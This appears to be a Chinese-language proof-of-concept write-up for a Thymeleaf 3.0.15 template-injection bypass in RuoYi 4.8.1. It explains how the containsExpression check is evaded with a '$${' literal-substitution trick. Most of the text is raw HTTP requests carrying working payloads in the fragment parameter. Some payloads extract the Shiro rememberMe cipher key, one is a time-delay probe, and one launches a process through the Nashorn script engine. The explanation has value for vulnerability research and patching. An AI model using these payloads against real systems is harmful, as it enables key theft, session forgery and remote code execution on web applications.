Ruoyi4.8.1 Freemark模版注入读取Shiro Key

POC

POST /monitor/cache/getNames HTTP/1.1
Host: 10.100.100.82
User-Agent: x-token:Rpw/aOUAkPjGjOnZVgT/Df2qwAJdtedqorYDutN8Svs=
Accept:  */* 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.100.100.82/system/main
Cookie: JSESSIONID=4e8124e5-56f7-4c03-9bf5-09e0197662dc
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 728

fragment=__|$${#response.addHeader('X-Data',''.class.forName('jdk.nashorn.api.scripting.NashornScriptEngineFactory').newInstance().getScriptEngine().eval("var manager = org.apache.shiro.web.mgt.DefaultWebSecurityManager.class.getMethod('getRememberMeManager').invoke(org.apache.shiro.SecurityUtils.getSecurityManager());var field = java.lang.Class.forName('org.apache.shiro.mgt.AbstractRememberMeManager').getDeclaredField('encryptionCipherKey');field.setAccessible(true);var keyBytes = field.get(manager);java.util.Base64.getEncoder().encodeToString(keyBytes);"))}|__::.x

fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x

POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1:8090
Accept-Language: zh-CN,zh;q=0.9
Referer: http://127.0.0.1:8090/system/user
Accept: application/json, text/javascript, */*; q=0.01
Sec-Fetch-Dest: empty
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: same-origin
Origin: http://127.0.0.1:8090
X-CSRF-Token: spwXjeo7Tgej/0r+0nWGNgByBcEoKG+CGQN5T+sgJXQ=
Cookie: JSESSIONID=2df622fd-4edc-4565-b0a3-8e558adc3a82
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Sec-Fetch-Mode: cors
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
Content-Length: 151

fragment=__|$${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval("java.lang.Thread.sleep(5000)")}|__::.x

新版本4.8.1 RCE(Thymeleaf3.0.15 绕过)

最新版本的ruoyi使用了Thymeleaf3.0.15

尝试之前的payload

ounter(line
__${T (java.lang.Runtime).getRuntime().exec("calc")}__::

image.png已经过不了checkViewNameNotInRequest的检测了

对比3.0.12 和3.0.15 https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.12.RELEASE...thymeleaf-spring5-3.0.15.RELEASE?diff\=unified&w\= 这个版本新增了containsExpression

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
private static boolean containsExpression(final String text) {  
    final int textLen = text.length();  
    char c;  
    boolean expInit = false;  
    for (int i = 0; i < textLen; i++) {  
        c = text.charAt(i);  
        if (!expInit) {  
            if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') {  
                expInit = true;  
            }  
        } else {  
            if (c == '{') {  
                return true;  
            } else if (!Character.isWhitespace(c)) {  
                expInit = false;  
            }  
        }  
    }  
    return false;  
}

其对requestURI , paramValue做了检测, 检测到表达式后抛出错误 但实际上这个检测并不严谨, 当检测到expInit字符时, 判断逻辑是后面紧跟的字符是不是 {: 如果是{则认为检测到了表达式, 如果不是{, 当其为空格时继续检测下一个字符是不是{, 不为空格则认为没有检测到表达式 问题在于第一个expInit字符后面的字符被拿去判断是否为{, 对其是否为expInit字符的检测就被跳过了 那我们其实可用构造出这样的payload逃过检测

ounter(lineounter(line
$任意字符{} 
$${}

显然$${}是可能被利用的, 但Thymeleaf并不允许执行这样的表达式

字面量替换 bypass

阅读其文档image.png

|n4c1, ${...}|, 其中的表达式${...}可以被执行

因此可以构造:

ounter(line
__|$${#response.addHeader("x-cmd","n4c1")}|__::.x

这样的payload实际上等价于

ounter(line
__'$' + ${#response.addHeader("x-cmd","n4c1")}__

代码分析

image

image

image

本地复现

POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1
User-Agent: x-token:Rpw/aOUAkPjGjOnZVgT/Df2qwAJdtedqorYDutN8Svs=
Accept:  */* 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.100.100.82/system/main
Cookie: JSESSIONID=360149bb-0a84-408b-b774-f3352e14b01a
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 728

fragment=__|$${''.class.forName('jdk.nashorn.api.scripting.NashornScriptEngineFactory').newInstance().getScriptEngine().eval("java.lang.Runtime.getRuntime().exec('open -a Calculator')")}|__::.x

![image-20251218002207222](file:///Users/huangzixuan/Library/Application%20Support/typora-user-images/image-20251218002207222.png?lastModify=1765990934)